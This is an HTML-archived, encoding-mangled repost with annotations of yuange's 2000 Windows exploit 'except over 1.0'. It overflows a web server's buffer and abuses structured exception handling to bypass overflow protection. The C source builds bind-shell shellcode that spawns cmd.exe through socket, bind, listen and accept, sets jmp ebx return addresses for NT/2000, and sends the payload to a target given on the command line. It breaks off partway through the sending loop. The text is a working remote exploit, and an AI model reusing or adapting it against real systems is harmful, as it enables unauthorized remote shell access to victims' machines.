📄 [转帖+注释]利用结构异常绕过溢出保护攻击.mht
字号:
main(int argc, char **argv)<BR>{ =
<BR> char=20
*server;<BR> char=20
=
*str=3D"\x1f\x90""LoadLibraryA""\x0""CreatePipe""\x0" <BR>&nbs=
p;=20
=20
=
"CreateProcessA""\x0""CloseHandle""\x0"<BR> =20
=20
"PeekNamedPipe""\x0"<BR> =
=20
=20
"ReadFile""\x0""WriteFile""\x0"<BR> =20
=20
"wsock32.dll""\x0""socket""\x0"<BR> =20
=20
"bind""\x0""listen""\x0"<BR> =
=20
=20
"accept""\x0""send""\x0"<BR> =
=20
=20
"recv""\x0""ioctlsocket""\x0"<BR> =20
=20
"closesocket""\x0"<BR> =20
=20
=
"cmd.exe""\x0""exit\x0d\x0a""\x0"<BR> =20
=
"strend";=20
=
//=CA=D7=C1=BD=B8=F6=D7=D6=BD=DA=CE=AA=B0=F3=B6=A8=B6=CB=BF=DA<BR><BR>/*&=
nbsp; shellcode=D3=C3=B5=BD=B5=C4api=C3=FB=B5=C8=D7=D6=B7=FB=B4=AE=20
*/<BR><BR> char=20
=
*fnendstr=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90";<BR> char&n=
bsp; eipwinnt[]=3D"\x63\x0d\xfa\x7f";<BR><BR>/* =20
jmp ebx address */<BR>/*=20
=
<BR>win2000=B7=A2=C9=FA=D2=EC=B3=A3=CA=B1ebx=D6=B8=CF=F2=D2=EC=B3=A3=BD=E1=
=B9=B9=A3=AC<BR>winnt=20
=
=D3=D0=B5=C4=B0=E6=B1=BE=CA=C7esi,=D3=D0=B5=C4=B0=E6=B1=BE=CA=C7edi<BR>*/=
<BR> char JMPNEXTJMP[]=3D"\x90\x90\x90\x2d";<BR>/* =
<BR>0x2d sub eax,num32=20
=
<BR>=D3=C3=D3=DA=C6=BD=BA=E2=BA=F3=C3=E6=B5=C44=D7=D6=BD=DA=C8=CE=D2=E2=B4=
=FA=C2=EB=A3=AC=CA=B9=B5=C3=C1=AC=D0=F8=B8=B2=B8=C7=D2=E7=B3=F6=B5=E3=B5=C4=
=D5=E2=B6=CE=B4=FA=C2=EB=D6=B8=C1=EE=B5=C8=D0=A7=D3=DANOP<BR>*/<BR> =
char JMPSHELL[]=3D"\xe9\x40\xf0\xff\xff"; //j=
mp=20
-0xfc0h<BR> char =20
buff[BUFFSIZE];<BR> char =
recvbuff[BUFFSIZE];<BR> char =
=20
=
shellcodebuff[0x1000];<BR> struct sockaddr_in=20
=
s_in2,s_in3;<BR> struct hostent=20
*he;<BR> char =20
=
*shellcodefnadd,*chkespadd;<BR> unsigned int=20
sendpacketlong;<BR> int=20
i,j,k;<BR> unsigned char=20
temp;<BR> int =20
fd;<BR> u_short=20
=
port,port1,shellcodeport;<BR> SOCKET d_ip;<BR> =
; WSADATA=20
wsaData;<BR> int =
offset=3D0;<BR> int=20
OVERADD=3DRETEIPADDRESS;<BR> int=20
OVERADD2=3D0xfb8;<BR> int result=3D=20
WSAStartup(MAKEWORD(1, 1),=20
&wsaData);<BR> if (result !=3D=20
0)<BR> {<BR> =
fprintf(stderr,=20
"Your computer was not connected "<BR> =
"to=20
the Internet at the time that "<BR> =
"this=20
program was launched, or you "<BR> =
"do not=20
have a 32-bit "<BR> "connection to =
the=20
Internet."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =20
=
exit(1);<BR> }<BR> if(argc>3)<BR> =20
=
port=3Datoi(argv[3]);<BR> else<BR> =20
port=3DWEBPORT;<BR> if(argc=20
<2)<BR> {<BR> =
WSACleanup(=20
);<BR> fprintf(stderr, "\n except =
over=20
1.0."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =20
fprintf(stderr, "\n copy by yuange =
2000.06.20."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =20
fprintf(stderr, "\n welcome to my homepage <A=20
href=3D"http://yuange.yeah.net./"=20
=
target=3D_blank>http://yuange.yeah.net./</A>"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =20
fprintf(stderr, "\n usage: %s <server> =
[shellport]=20
[webport] \n", argv[0]);<BR> =20
=
exit(1);<BR> }<BR> else<BR> =20
server =3D argv[1];<BR> d_ip =
=3D=20
=
inet_addr(server);<BR> if(d_ip=3D=3D-1)<BR> {<BR>&n=
bsp;=20
he =3D gethostbyname(server);<BR> =
=20
if(!he)<BR> {<BR> =20
WSACleanup( );<BR> =20
printf("\n Can't get the ip =
of %s=20
!\n",server);<BR> =20
exit(1);<BR> } =
<BR> =20
else<BR> =
memcpy(&d_ip,=20
he->h_addr,=20
4);<BR> }<BR><BR> fd =3D=20
socket(AF_INET,=20
=
SOCK_STREAM,0);<BR> i=3D8000;<BR> setsockopt(fd,SOL=
_SOCKET,SO_RCVTIMEO,(const=20
char *)=20
=
&i,sizeof(i));<BR> s_in3.sin_family =3D=20
AF_INET;<BR> s_in3.sin_port =3D=20
=
htons(port);<BR> s_in3.sin_addr.s_addr =3D=20
d_ip;<BR> printf("\n nuke ip: %s port =
=
%d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));<BR> if(c=
onnect(fd,=20
(struct sockaddr *)&s_in3, sizeof(struct=20
sockaddr_in))!=3D0)<BR> {<BR> =20
closesocket(fd);<BR> =20
WSACleanup( );<BR> =20
fprintf(stderr,"\n connect =
err."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
=
exit(1);<BR> }<BR> _asm<BR> {<BR>&=
nbsp;=20
mov ESI,ESP<BR> cmp=20
=
ESI,ESP<BR> }<BR> _chkesp();<BR> chkespa=
dd=3D_chkesp; =20
=
//=C8=E7=B9=FB=B2=BB=CA=C7=D3=C3=CC=F8=D7=AA=B5=F7=D3=C3=A3=AC=D4=F2=
=D6=B1=BD=D3=BB=F1=B5=C3=B5=D8=D6=B7<BR> temp=3D*chkespadd;<BR=
> if(temp=3D=3D0xe9)<BR> { =20
=
//=C8=E7=B9=FB=CA=B9=D3=C3=CC=F8=D7=AA=B5=F7=D3=C3=A3=AC=BD=ABjmp=20
=
xxxx=D6=D0=B5=C4=B5=D8=D6=B7=CC=E1=C8=A1=B3=F6=C0=B4=A3=AC=BE=F8=B6=D4=B5=
=D8=D6=B7=CE=AAchkespadd+xxxx+4<BR> =20
++chkespadd;<BR> =
=20
i=3D*(int*)chkespadd;<BR> =
=20
chkespadd+=3Di;<BR> =20
=
chkespadd+=3D4;<BR> }<BR> shellcodefnadd=3Dsh=
ellcodefnlock; =20
=20
=
//=CD=AC=C9=CF,=C1=BD=D6=D6=CC=D6=C2=DB=BB=F1=B5=C3shellcodefnlock=B5=D8=D6=
=B7=A3=AC=B4=CB=BA=AF=CA=FD=CE=AA=BD=E2=B1=E0=C2=EB<BR> temp=3D=
*shellcodefnadd;<BR> if(temp=3D=3D0xe9)=20
<BR> {<BR> =20
++shellcodefnadd;<BR> =20
k=3D*(int *)shellcodefnadd;<BR> =
=20
shellcodefnadd+=3Dk;<BR> =
=20
=
shellcodefnadd+=3D4;<BR> }<BR><BR> for(k=3D0;=
k<=3D0x500;++k)<BR> {<BR> =20
=20
=
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)=3D=3D0)=20
break; =20
=
//=B6=A8=CE=BB=CE=D2=C3=C7=B6=A8=D2=E5=B5=C4=B1=EA=D6=BE=A3=AC=BE=CD=
=CA=C7=C4=C7=B8=F6=BF=AA=CD=B7=B5=C49=B8=F6nop<BR> }<BR><BR>&n=
bsp; memset(buff,NOPCODE,BUFFSIZE);=20
=
//buf=C7=E5=BF=D5<BR> memcpy(buff+OVERADD+NOPLONG,shellcodefna=
dd+k+4,0x80);// =D4=DA=BD=ABshellcodefnlock=BA=AF=CA=FD=B8=B4=D6=
=C6=B5=BDbuf+32=BF=AA=CA=BC=B4=A6<BR><BR><BR> /* =20
buff=BD=E1=B9=B9<BR> =20
=
[NNNNNNNN][NNNN][shellcodefnlock=20
=
NNNNNNN ]<BR> 32=B8=F6 =20
=
4=B8=F6<BR> */<BR> shellcodefnadd=
=3Dshellcodefn; =20
=
//=B6=A8=CE=BBshellcodefn=BA=AF=CA=FD=B5=D8=D6=B7=A3=AC=D2=B2=B7=D6=
=CE=AA=C1=BD=D6=D6=C7=E9=BF=F6=B7=D6=CE=F6<BR> temp=3D*shellco=
defnadd;<BR> if(temp=3D=3D0xe9)=20
<BR> {<BR> =20
++shellcodefnadd;<BR> =20
k=3D*(int =
*)shellcodefnadd;<BR> =20
shellcodefnadd+=3Dk;<BR> =
=
shellcodefnadd+=3D4;<BR> }<BR> fo=
r(k=3D0;k<=3D0x1000;++k)<BR> {<BR> =20
=20
=
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)=3D=3D0)=20
=
break;//k=CE=AAshellcodefn=BA=AF=CA=FD=B5=C4=B4=F3=D0=A1<BR> }=
<BR><BR>memcpy(shellcodebuff,shellcodefnadd,k);<BR> cleanchkes=
p(shellcodefnadd,shellcodebuff,chkespadd,k);//=C7=E5=B3=FDshellcodefn=BA=AF=
=CA=FD=D6=D0=B5=C4chkesp()=B5=F7=D3=C3<BR><BR><BR>//=BD=AB=D0=E8=D2=AA=B5=
=F7=D3=C3=B5=C4=BA=AF=CA=FD=D7=D6=B7=FB=B4=AB=BF=BD=B1=B4=B5=BDshellcodeb=
uff=D6=D0<BR><BR>for(i=3D0;i<0x400;++i){=20
<BR>if(memcmp(str+i,"strend",6)=3D=3D0)=20
=
break;<BR> } <BR> memcpy(shellcodebuff+k=
,str,i);<BR><BR> if(argc>2) shellcodeport=3Datoi=
(argv[2]);<BR> else =20
=20
=
shellcodeport=3DSHELLPORT;<BR><BR> if(shellc=
odeport=3D=3D0)=20
=
shellcodeport=3DSHELLPORT;<BR> shellcodeport=3Dhtons(shellcode=
port);<BR> *(u_short=20
=
*)(shellcodebuff+k)=3Dshellcodeport;<BR> fprintf(stderr,"\n=20
shellport=20
=
%d",htons(shellcodeport));<BR><BR><BR> sendpacketlong=3Dk+i;<B=
R> for(k=3D0;k<=3D0x200;++k){<BR> =20
=20
=
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)=3D=3D0)=20
break;<BR> } =20
=
//=B6=A8=CE=BB=C1=ED=CD=E2=B5=C4=C4=C7=B8=F6shellcodefnlock=BA=AF=CA=
=FD=BD=E1=CE=B2=B4=A6=B5=C49=B8=F6nop<BR><BR> for(i=3D0;i<s=
endpacketlong;++i){<BR> =20
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -